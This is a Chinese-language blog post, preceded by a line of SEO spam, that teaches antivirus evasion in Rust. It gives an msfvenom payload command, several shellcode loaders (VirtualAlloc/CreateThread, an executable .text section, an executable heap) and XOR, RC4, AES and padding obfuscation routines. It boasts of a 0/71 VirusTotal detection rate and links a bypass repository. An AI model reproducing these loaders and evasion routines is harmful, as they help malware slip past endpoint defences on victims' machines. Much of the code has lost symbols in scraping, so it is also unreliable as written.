免费网站风格,网站备案域名更改吗,阿里云搭建企业网站,青岛建韩国网站的公司前言
这是半年前我学习Rust和免杀时的一些记录#xff0c;最近打开知识库看到了这篇半年前的笔记#xff0c;并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子#xff0c;于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Ru…前言
这是半年前我学习Rust和免杀时的一些记录最近打开知识库看到了这篇半年前的笔记并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust所以文中所涉及的知识和代码都有可能出现错误所以再次说明这篇文章仅供参考并希望大家指正。
Shellcode加载方式
本文的主要目的是分享Rust对shellcode的加密混淆方式所以对于shellcode加载只介绍两种基本的方式可能在后续的文章中会对加载方式进行更多分享。
调用WinAPI
跟其他语言的shellcode加载器一样要实现更多的shellcode加载方式需要调用WinAPI。 执行shellcode的一般流程
创建或获取一段可读写执行的内存空间将shellcode移入这块内存空间利用各种方式将程序执行的流程指向这块内存空间 Rust调用WinAPI需要先引入依赖Cargo是Rust的一个包管理工具要引入winapi依赖需要在Cargo.toml添加
winapi {version“0.3.9”,features[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]} 这里以加载msf生成的弹计算器的shellcode为例先使用msfvenom生成一段raw格式的shellcode保存到calc.bin文件中并复制到Rust的项目目录下。
msfvenom -p windows/x64/exec cmdcalc.exe -f raw -o calc.bin 在Rust中可以使用include_bytes!宏将静态文件在编译时包含进程序中。 下面通过调用VirtualAlloc申请一段内存并设置为PAGE_EXECUTE_READWRITE权限具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中接着通过CreateThread创建线程WaitForSingleObject等待线程结束。 参考VirtualAlloc function, CreateThread function, WaitForSingleObject function
use std::mem::transmute; use winapi::um::errhandlingapi::GetLastError; use winapi::um::memoryapi::VirtualAlloc; use winapi::um::processthreadsapi::CreateThread; use winapi::um::synchapi::WaitForSingleObject;
fn main() { let buffer include_bytes!(“…\calc.bin”);
unsafe {let ptr VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);if GetLastError() 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let mut threadid 0;let threadhandle CreateThread(std::ptr::null_mut(),0,Some(transmute(ptr)),std::ptr::null_mut(),0,mut threadid,);WaitForSingleObject(threadhandle, 0xFFFFFFFF);} else {println!(执行失败{}, GetLastError());}
}}
函数指针
link_section是Rust的一个attribute它用来将特定的函数或者变量放到程序的指定的区块中.text区块通常用来存储程序的执行代码它会被加载到内存中并由处理器执行。 然后通过std::mem::transmute将 *const u8 类型的指针转换为函数类型 fn()最后执行shellcode。
fn main() { const BUFFER_BYTES:[u8] include_bytes!(“…\calc.bin”); const BUFFER_SIZE:usize BUFFER_BYTES.len();
#[link_section .text]
static BUFFER:[u8;BUFFER_SIZE] *include_bytes!(..\\calc.bin);
unsafe{let exec std::mem::transmute::*const u8,fn()(BUFFER as *const u8);exec();
}}
通过 heapapi 申请内存
由于VirtualAlloc是各大杀软的重点监控对象所以通常需要使用其他的API来替代下面介绍的是另一个常见的内存申请方式即通过HeapCreate/HeapAlloc的组合来创建内存空间。 参考HeapCreate function, HeapAlloc function
该方式同样需要先引入依赖在Cargo.toml文件中添加如下依赖
[dependencies] winapi {version“0.3.9”,features[“winuser”,“heapapi”,“errhandlingapi”]} 该方法通过HeapCreate创建HEAP_CREATE_ENABLE_EXECUTE权限的内存堆然后通过HeapAlloc来从堆中分配内存空间最后通过函数指针的方式执行shellcode。
use std::mem::transmute; use winapi::ctypes::c_void; use winapi::um::errhandlingapi::GetLastError; use winapi::um::heapapi::HeapAlloc; use winapi::um::heapapi::HeapCreate;
fn main() { let buffer include_bytes!(“…\calc.bin”);
unsafe {let heap HeapCreate(0x40000, 0, 0);let ptr HeapAlloc(heap, 8, buffer.len());if GetLastError() 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let exec transmute::*mut c_void, fn()(ptr);exec();}
}}
Shellcode混淆方式
上面介绍了在Rust中为shellcode申请内存空间和执行shellcode的几种常见的方式接下来会介绍几种常见的编码和加密混淆方式在Rust中的实现。在实际的shellcode免杀的时候经常需要结合几种混淆方式或者是自己设计加密混淆方式。
Base64编码
在Rust中实现base64编码同样需要引入依赖在Cargo.toml文件中添加如下依赖
[dependencies] base64 “0.20.0” 通过下面的代码即可将传入的切片类型的shellcode进行base64编码并返回一段字符串。
fn b64_enc(shellcode: [u8]) - String { base64::encode(shellcode) } 通过以下代码即可将得到的字符串解码并返回Vec数组类型的shellcode。
fn b64_dec(shellcode:String) - Vec { base64::decode(shellcode).expect(“Error”) }
Hex编码
在Rust中实现Hex编码同样需要引入依赖在Cargo.toml文件中添加如下依赖
[dependencies] hex “0.4.3” 通过下面的代码即可将传入的切片类型的shellcode进行Hex编码并返回一段字符串。
fn hex_enc(shellcode: [u8]) - String { hex::encode(shellcode) } 通过以下代码即可将得到的字符串解码并返回Vec数组类型的shellcode。
fn hex_dec(shellcode:String) - Vec { hex::decode(shellcode).expect(“Error”) }
异或加密
通过迭代器将shellcode与key逐个字符进行异或然后进行base64编码返回一段字符串。
要进行解密需要先进行base64解码然后将异或加密后的shellcode再次与key进行逐个字符进行异或即可还原shellcode。
fn xor_encrypt(shellcode: [u8], key: [u8]) - String { let mut encrypted Vec::new(); for (i, b) in shellcode.iter().enumerate() { encrypted.push(b ^ key[i % key.len()]); } base64::encode(encrypted) }
fn xor_decrypt(encrypted: [u8], key: [u8]) - Vec { let encrypted base64::decode(encrypted).expect(“msg”); let mut decrypted Vec::new(); for (i, b) in encrypted.iter().enumerate() { decrypted.push(b ^ key[i % key.len()]); } decrypted }
RC4加密
Rust要实现RC4加密与加密需要引入依赖在Cargo.toml文件中添加下面的依赖。
[dependencies] rust-crypto“0.2.36” base64“0.13.0” rustc-serialize “0.3” 下面是实现RC4加解密的代码在加密的函数中最终返回的是Base64编码后的字符串而解密函数最终返回的是Vec数组这是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。
use crypto::rc4::Rc4; use crypto::symmetriccipher::SynchronousStreamCipher; use std::iter::repeat;
fn main() { let buffer include_bytes!(“…\calc.bin”).as_slice(); let key “pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZ0”;
let b64_string enc(buffer, key);
let shellcode dec(b64_string.as_str(), key);println!( RC4 );
println!(Key: {}, key);
println!(\nEncrypted (Base-64): {}, b64_string);
println!(\nDecrypted: {:?}, shellcode);}
fn enc(shellcode: [u8], key: str) - String { let mut rc4 Rc4::new(key.as_bytes());
let mut result: Vecu8 repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, mut result);base64::encode(mut result)}
fn dec(b64: str, key: str) - Vec { let mut result match base64::decode(b64) { Ok(result) result, _ “”.as_bytes().to_vec(), };
let mut rc4 Rc4::new(key.as_bytes());let mut shellcode: Vecu8 repeat(0).take(result.len()).collect();
rc4.process(mut result[..], mut shellcode);shellcode}
AES-CFB加密
Rust要实现AES加密与加密也需要引入依赖在Cargo.toml文件中添加下面的依赖。
[dependencies] aes“0.7.5” hex“0.4.3” block-modes“0.8.1” hex-literal“0.3.3” 下面是实现AES-CFB加解密的代码在加密的函数中最终返回的是Hex编码后的字符串而解密函数最终返回的是Vec数组同样是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。
use aes::Aes128; use block_modes::block_padding::Pkcs7; use block_modes::{BlockMode, Cfb}; use hex::encode; use hex_literal::hex;
type Aes128ECfb CfbAes128, Pkcs7;
fn main() { let shellcode include_bytes!(“…\calc.bin”).as_slice(); let key “gWW8QklFyVIQfpDN”; let iv hex!(“57504c385a78736f336b4946426a626f”);
println!(128-bit AES CFB Mode);
println!(Key: {}, key);
println!(iv: {}, encode(iv));let encrypted enc(shellcode, key, iv);
println!(\nEncrypted: {}, encrypted);let decrypted dec(encrypted.as_str(), key, iv);
println!(\nDecrypted: {:?}, decrypted);}
fn enc(shellcode: [u8], key: str, iv: [u8; 16]) - String { let key key.as_bytes().to_vec();
let cipher Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let pos shellcode.len();
let mut buffer [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);let ciphertext cipher.encrypt(mut buffer, pos).unwrap();hex::encode(ciphertext)}
fn dec(encrypted: str, key: str, iv: [u8; 16]) - Vec { let binding hex::decode(encrypted).expect(“Decoding failed”); let ciphertext binding.as_slice();
let key key.as_bytes().to_vec();let cipher Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let mut buf ciphertext.to_vec();
let shellcode cipher.decrypt(mut buf).unwrap();shellcode.to_vec()}
添加随机字符
同样先在Cargo.toml文件中添加下面的依赖。
[dependencies] hex “0.4.3” 下面是结合异或加密和添加随机字符的代码xor_encrypt将对shellcode与key进行异或使用hex::encode将异或结果转为十六进制字符串返回方便后面添加随机字符。add_random迭代xor_encrypt返回的字符串的每个字符并在每次迭代时添加一个随机字符。最后使用 hex::encode 将结果转为十六进制字符串返回。xor_decrypt和rm_random是对应的二次异或和删除随机字符的函数。
fn xor_encrypt(shellcode: [u8], key: [u8]) - String { let mut encrypted Vec::new(); for (i, b) in shellcode.iter().enumerate() { encrypted.push(b ^ key[i % key.len()]); } hex::encode(encrypted) }
fn xor_decrypt(encrypted: [u8], key: [u8]) - Vec { let encrypted hex::decode(encrypted).expect(“Error”);
let mut decrypted Vec::new();
for (i, b) in encrypted.iter().enumerate() {decrypted.push(b ^ key[i % key.len()]);
}
decrypted}
fn add_random(xor_string: str, key: str) - String { let mut result String::new();
for (i, c) in xor_string.chars().enumerate() {result.push(c);result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode(result)}
fn rm_random(random_string: str) - Vec { let mut result String::new();
let random_string hex::decode(random_string).expect(Invalid String);
let random_string match std::str::from_utf8(random_string.as_slice()) {Ok(s) s,Err(_) Invalid UTF-8 sequence,
};for (i, c) in random_string.chars().enumerate() {if i % 2 0 {result.push(c);}
}
result.as_bytes().to_vec()}
总结
Rust的编译体积是非常小的虽然比不上C/C但是和Python和Go相比优势还是非常大的并且Rust的热门程度也远小于Python和Go所以杀软对Rust的检出程度也是非常低的这都是Rust免杀的天然优势。结合本文章几种基础的加载方式和混淆方式还是可以轻松过一部分杀软的。以下链接是我半年前上传到virustotal的一个样本半年过去了目前的检出率为14/71VirusTotal File刚上传时检出率为0/71。 这篇文章的代码部分我也已经提交到Github供大家参考 AV-Bypass-Learning/rust-bypass-av
参考
Rust 参考手册 中文版 Programming reference for the Win32 API include_bytes in std - Rust Application Binary Interface - The Rust Reference